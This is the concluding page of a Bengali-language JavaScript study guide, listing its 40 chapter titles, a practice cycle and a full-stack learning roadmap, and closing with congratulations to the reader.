আমরা Chapter 1 থেকে Chapter 40 পর্যন্ত মোটামুটি এই journey সম্পন্ন করেছি:
01 Introduction 02 Variables & Data Types 03 Operators 04 Control Flow 05 Loops 06 Functions 07 Strings 08 Numbers 09 Arrays 10 Objects 11 Prototypes 12 Map / Set 13 Built-in Objects 14 Errors & Debugging 15 DOM 16 Events 17 Forms 18 Storage & Cookies 19 JSON 20 Modules 21 Async JavaScript 22 HTTP / API / Fetch 23 Regular Expressions 24 OOP / Classes 25 Functional JavaScript 26 Closures / IIFE 27 Iterators / Generators 28 Symbols / Proxy / Reflect 29 Execution Model / Event Loop 30 Memory Management 31 Security 32 Browser APIs 33 Performance 34 NPM / Tooling 35 Testing 36 Modern ECMAScript 37 Design Patterns 38 Advanced JS for React 39 Advanced JS for Node.js 40 Real-World Projects & Interview
এই 40টি Chapter শুধু পড়ে শেষ করলেই JavaScript mastery হবে না। এখন সবচেয়ে গুরুত্বপূর্ণ হলো:
Learn ↓ Code ↓ Build ↓ Break ↓ Debug ↓ Test ↓ Refactor ↓ Deploy ↓ Repeat
JavaScript
↓
React
↓
Node.js
↓
Express.js
↓
MongoDB / PostgreSQL
↓
REST API
↓
Authentication
↓
Testing
↓
Docker
↓
Deployment
↓
Real Full Stack Projects
একজন ভালো JavaScript Developer শুধু syntax জানে না। সে বুঝতে পারে:
এই জায়গাটাই tutorial learner আর professional developer-এর মধ্যে বড় পার্থক্য।
🎉 অভিনন্দন! আপনি সফলভাবে JavaScript Master Study Documentation-এর ১ থেকে ৪০টি পূর্ণাঙ্গ চ্যাপ্টার সম্পন্ন করেছেন। এটি শুধুমাত্র একটি টিউটোরিয়াল নোট নয়—এটি প্রফেশনাল সফটওয়্যার ইঞ্জিনিয়ারিং, ক্লিন আর্কিটেকচার, রিয়্যাক্ট ফ্রন্টএন্ড এবং নোড.জেএস ব্যাকএন্ডের একটি পরিপূর্ণ ও ত্রুটিমুক্ত এনসাইক্লোপিডিয়া।